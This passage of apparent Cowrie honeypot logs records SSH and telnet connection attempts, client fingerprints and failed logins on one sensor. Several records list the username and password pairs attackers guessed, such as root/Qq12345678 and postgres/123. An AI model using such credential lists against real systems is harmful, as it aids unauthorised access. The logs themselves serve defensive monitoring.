92-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:08.074558Z","src_ip":"91.92.42.227","session":"0687a25ddd4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.3","message":"Connection lost after 19.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:11.268084Z","src_ip":"91.92.42.227","session":"5c1e09718104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41290,"dst_ip":"10.17.0.5","dst_port":22,"session":"b31df4bdd14c","protocol":"ssh","message":"New connection: 91.92.42.227:41290 (10.17.0.5:22) [session: b31df4bdd14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:11.424676Z"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:14.287338Z","src_ip":"91.92.42.227","session":"e4c7b1685186","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:14.579918Z","src_ip":"91.92.42.227","session":"b31df4bdd14c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:14.582784Z","src_ip":"91.92.42.227","session":"b31df4bdd14c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":44330,"dst_ip":"159.203.135.109","dst_port":23,"session":"44e0157f6797","protocol":"telnet","message":"New connection: 102.37.220.188:44330 (159.203.135.109:23) [session: 44e0157f6797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:18.526582Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40762,"dst_ip":"10.17.0.5","dst_port":22,"session":"06a56dbd50d9","protocol":"ssh","message":"New connection: 91.92.42.227:40762 (10.17.0.5:22) [session: 06a56dbd50d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:19.463572Z"}
{"eventid":"cowrie.session.closed","duration":"22.0","message":"Connection lost after 22.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:19.949565Z","src_ip":"91.92.42.227","session":"e4c7b1685186","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:22.520228Z","src_ip":"91.92.42.227","session":"0687a25ddd4f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:22.774868Z","src_ip":"91.92.42.227","session":"06a56dbd50d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:22.778061Z","src_ip":"91.92.42.227","session":"06a56dbd50d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40634,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6438f940bd1","protocol":"ssh","message":"New connection: 91.92.42.227:40634 (10.17.0.5:22) [session: c6438f940bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:25.586301Z"}
{"eventid":"cowrie.session.closed","duration":"21.8","message":"Connection lost after 21.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:26.816968Z","src_ip":"91.92.42.227","session":"0687a25ddd4f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:28.881230Z","src_ip":"91.92.42.227","session":"c6438f940bd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:28.884265Z","src_ip":"91.92.42.227","session":"c6438f940bd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"teamspeak","message":"login attempt [ts3/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:29.223653Z","src_ip":"91.92.42.227","session":"b31df4bdd14c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40698,"dst_ip":"10.17.0.5","dst_port":22,"session":"98e20503a7a0","protocol":"ssh","message":"New connection: 91.92.42.227:40698 (10.17.0.5:22) [session: 98e20503a7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:32.082355Z"}
{"eventid":"cowrie.session.closed","duration":"24.1","message":"Connection lost after 24.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:35.487871Z","src_ip":"91.92.42.227","session":"b31df4bdd14c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:36.228240Z","src_ip":"91.92.42.227","session":"98e20503a7a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:36.231272Z","src_ip":"91.92.42.227","session":"98e20503a7a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":43700,"dst_ip":"159.203.135.109","dst_port":22,"session":"f99e1c6966cc","protocol":"ssh","message":"New connection: 27.71.230.31:43700 (159.203.135.109:22) [session: f99e1c6966cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:36.500447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:36.594159Z","src_ip":"27.71.230.31","session":"f99e1c6966cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:38.576342Z","src_ip":"91.92.42.227","session":"06a56dbd50d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48910,"dst_ip":"10.17.0.5","dst_port":22,"session":"e78ab3475f1e","protocol":"ssh","message":"New connection: 91.92.42.227:48910 (10.17.0.5:22) [session: e78ab3475f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:38.620780Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:38.783812Z","src_ip":"27.71.230.31","session":"f99e1c6966cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":59561,"dst_ip":"10.17.0.5","dst_port":22,"session":"f40b4dab11a9","protocol":"ssh","message":"New connection: 103.248.120.6:59561 (10.17.0.5:22) [session: f40b4dab11a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:38.932692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:38.937177Z","src_ip":"103.248.120.6","session":"f40b4dab11a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:39.160698Z","src_ip":"103.248.120.6","session":"f40b4dab11a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq12345678","message":"login attempt [root/Qq12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:40.090265Z","src_ip":"103.248.120.6","session":"f40b4dab11a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:41.316223Z","src_ip":"103.248.120.6","session":"f40b4dab11a9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:42.357915Z","src_ip":"91.92.42.227","session":"e78ab3475f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:42.364037Z","src_ip":"91.92.42.227","session":"e78ab3475f1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":48650,"dst_ip":"159.203.135.109","dst_port":23,"session":"35eaff6bacb9","protocol":"telnet","message":"New connection: 103.249.87.183:48650 (159.203.135.109:23) [session: 35eaff6bacb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:43.005593Z"}
{"eventid":"cowrie.session.closed","duration":"24.0","message":"Connection lost after 24.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:43.433483Z","src_ip":"91.92.42.227","session":"06a56dbd50d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user","message":"login attempt [root/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:44.934849Z","src_ip":"27.71.230.31","session":"f99e1c6966cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55492,"dst_ip":"10.17.0.5","dst_port":22,"session":"123bbc42b98f","protocol":"ssh","message":"New connection: 91.92.42.227:55492 (10.17.0.5:22) [session: 123bbc42b98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:45.812617Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:46.055843Z","src_ip":"91.92.42.227","session":"c6438f940bd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:46.220555Z","src_ip":"27.71.230.31","session":"f99e1c6966cc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:51.249783Z","src_ip":"91.92.42.227","session":"123bbc42b98f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:51.256048Z","src_ip":"91.92.42.227","session":"123bbc42b98f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40282,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e1160415660","protocol":"ssh","message":"New connection: 168.167.228.74:40282 (159.203.135.109:22) [session: 6e1160415660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:51.976654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:51.980445Z","src_ip":"168.167.228.74","session":"6e1160415660","protocol":"ssh"}
